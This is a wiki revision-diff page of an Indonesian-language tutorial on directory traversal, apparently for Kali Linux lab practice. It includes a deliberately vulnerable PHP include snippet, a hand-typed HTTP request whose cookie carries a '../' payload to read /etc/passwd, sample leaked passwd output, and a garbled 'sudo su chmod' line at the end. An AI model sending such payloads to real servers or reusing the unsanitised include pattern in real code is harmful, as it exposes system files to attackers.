Difference between revisions of "Kali Linux: Web Directory Traversal Vulnerability"
Onnowpurbo (talk | contribs) |
Onnowpurbo (talk | contribs) |
||
Line 27: | Line 27: | ||
Cookie: TEMPLATE=../../../../../../../../../etc/passwd | Cookie: TEMPLATE=../../../../../../../../../etc/passwd | ||
− | + | Responds dari ../../etc/passwd kira-kira: | |
− | HTTP/1. | + | HTTP/1.1 200 OK |
− | Content-Type: text/html | + | Date: Fri, 01 Jun 2018 23:21:52 GMT |
− | + | Server: Apache/2.4.18 (Ubuntu) | |
+ | Vary: Accept-Encoding | ||
+ | Content-Length: 2164 | ||
+ | Connection: close | ||
+ | Content-Type: text/html; charset=UTF-8 | ||
− | root: | + | root:x:0:0:root:/root:/bin/bash |
− | daemon: | + | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
− | + | bin:x:2:2:bin:/bin:/usr/sbin/nologin | |
+ | sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
+ | sync:x:4:65534:sync:/bin:/bin/sync | ||
+ | games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
+ | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||
+ | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||
+ | .. | ||
+ | .. | ||
+ | dst | ||
+ | |||
+ | |||
+ | |||
+ | |||
Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/ | Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/ |
Revision as of 06:23, 2 June 2018
Directory traversal (atau path traversal) merupakan eksploitasi kekurangan validasi keamanan / sanitasi nama file input yang disediakan pengguna, seperti karakter yang merepresentasikan "pelintasan / traverse ke direktori induk" dilewatkan ke file API.
Sasaran serangan ini adalah menggunakan aplikasi yang salah konfigurasi untuk mendapatkan akses tidak sah ke sistem file. Serangan ini mengeksploitasi kurangnya keamanan (walaupun perangkat lunak bertindak persis seperti yang seharusnya) berbeda dengan eksploitasi bug dalam code.
Direktori traversal juga dikenal sebagai serangan ../ (dot dot slash), directory climbing, dan backtracking. Beberapa bentuk serangan ini juga merupakan canonicalization attack.
Contoh sederhana aplikasi yang vulnerable di PHP di bawah ini,
<?php $template = 'red.php'; if (isset($_COOKIE['TEMPLATE'])) $template = $_COOKIE['TEMPLATE']; include ("/home/users/phpguru/templates/" . $template); ?>
Aplikasi dapat kita beri nama misalnya vulnerable.php. Diletakan di bawah folder web /var/www/html/vulnerable.php
Serangan terhadap system ini dapat dilakukan menggunakan request HTTP berikut, jika anda kesulitan dapat menggunakan
telnet ip-address-server 80
masukan / ketik satu per satu kalimat di bawah ini,
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Responds dari ../../etc/passwd kira-kira:
HTTP/1.1 200 OK Date: Fri, 01 Jun 2018 23:21:52 GMT Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 2164 Connection: close Content-Type: text/html; charset=UTF-8 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin .. .. dst
Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/ menyebabkan include() untuk melakukan traverse ke root directory, kemudian include Unix password file /etc/passwd.
Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.
However, in more recent Unix systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as it still displays the user accounts on the system.
Lebih Parah Lagi
sudo su chmod 644 /etc/passwd